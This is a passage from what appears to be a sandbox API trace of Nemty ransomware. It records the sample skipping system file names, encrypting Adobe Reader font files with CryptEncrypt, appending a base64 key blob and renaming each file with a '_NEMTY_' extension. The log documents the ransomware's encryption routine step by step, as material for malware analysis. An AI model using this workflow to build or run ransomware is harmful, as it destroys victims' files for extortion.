lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="windows") returned -1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="$RECYCLE.BIN") returned 1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="rsa") returned -1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="NTDETECT.COM") returned -1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="ntldr") returned -1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="MSDOS.SYS") returned -1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="IO.SYS") returned -1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="boot.ini") returned -1 [0213.997] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="boot.ini") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="AUTOEXEC.BAT") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="ntuser.dat") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="desktop.ini") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="CONFIG.SYS") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="RECYCLER") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="BOOTSECT.BAK") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="bootmgr") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="programdata") returned -1 [0213.998] lstrcmpiW (lpString1="AdobeArabic-BoldItalic.otf", lpString2="appdata") returned -1 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0213.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0213.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0213.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0213.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0213.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941b8 [0213.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0213.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94088 [0213.999] Sleep (dwMilliseconds=0x5) [0214.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333332f0, dwHighDateTime=0x1d561e8)) [0214.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x333332f0, dwHighDateTime=0x1d561e8)) [0214.014] GetLastError () returned 0x0 [0214.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.014] GetLastError () returned 0x0 [0214.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.015] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.015] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.015] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.015] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="4zDPGzlfyROtswMsS5DlokTbtf3+tdF2Ezoql2vxrTOqvuozVb+UAbR0yu/bVFLF\r\neLF7nI62tGnIKOA/4SQSG+0Sd4TZmRKJfDBY1Xjxmr85FUgB1hLrkanC6asNKGG4\r\nBc9PJRiCxrEQdDv2uiUOhJc0wikBrF47Gy6arcXLaoLe6ndgPVOR9Z2B+kJArx0u\r\nQ2bKprevBfjcB2WFzpvzT0KqCYFmIL6lqFyIjNmQX2Pj0omFfYXO/k/NLg4VluMj\r\nz59bhjApMfo7Wt/OmeBsJZwM9aG642WDIhCc4PbBTIAzqe0Js+YWmNSmtvcOJcm8\r\n0zX2aOOnkVPg9Ag98xsngQ==\r\n", pcchString=0x653e91c) returned 1 [0214.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bolditalic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.015] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=252320) returned 1 [0214.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0214.016] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.016] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0214.025] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.025] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0214.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.025] SetFilePointer (in: hFile=0x254, lDistanceToMove=252320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3d9a0 [0214.025] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.026] CloseHandle (hObject=0x254) returned 1 [0214.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94270 [0214.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0214.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0214.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.026] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bolditalic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bolditalic.otf._nemty_kgobjgd_")) returned 1 [0214.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94270 | out: hHeap=0x4f90000) returned 1 [0214.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.027] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3dce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeArabic-Italic.otf", cAlternateFileName="ADOBEA~1.OTF")) returned 1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2=".") returned 1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="..") returned 1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="...") returned 1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="windows") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="rsa") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="NTDETECT.COM") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="ntldr") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="MSDOS.SYS") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="IO.SYS") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="boot.ini") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="boot.ini") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="ntuser.dat") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="desktop.ini") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="CONFIG.SYS") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="RECYCLER") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="bootmgr") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="programdata") returned -1 [0214.027] lstrcmpiW (lpString1="AdobeArabic-Italic.otf", lpString2="appdata") returned -1 [0214.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0214.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.028] Sleep (dwMilliseconds=0x5) [0214.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33359450, dwHighDateTime=0x1d561e8)) [0214.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33359450, dwHighDateTime=0x1d561e8)) [0214.030] GetLastError () returned 0x0 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.030] GetLastError () returned 0x0 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.030] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.030] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="LtMnOuL9S25QupfcwCJ1LoEnnJjiXlwMeA/xTubwI1F5QGPQHktSGfAt2J3GpzIb\r\np0psMs0F2OQTQOTMirbA6G39tKUE+lZ2yIgr4Zuz0Hmkl5PjbK2QZBVlkhecTyXR\r\nTxB9MEd8e0def8tvxp2EKBAKpOH1bfBBx0wwZgyF/8xhA6VXoG3awZsItMDYoZiQ\r\ns8T0CrNt3AbtcYkPROmOHdyXZOGZGT2TRxbm2K03HJvQI5/B6LHZiFznkwwcpbW9\r\nnDfyD+wYqX5+1vDcrZDZH0MdBqH+tpkAf71hE0hjGhNF6+tFNf6one2AqrkzIY1A\r\nUICGuwsoSLVbhlNy41OXmQ==\r\n", pcchString=0x653e91c) returned 1 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.030] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-italic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.031] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=253152) returned 1 [0214.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0214.031] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.031] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0214.040] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.040] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0214.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.041] SetFilePointer (in: hFile=0x254, lDistanceToMove=253152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3dce0 [0214.041] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.041] CloseHandle (hObject=0x254) returned 1 [0214.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.041] 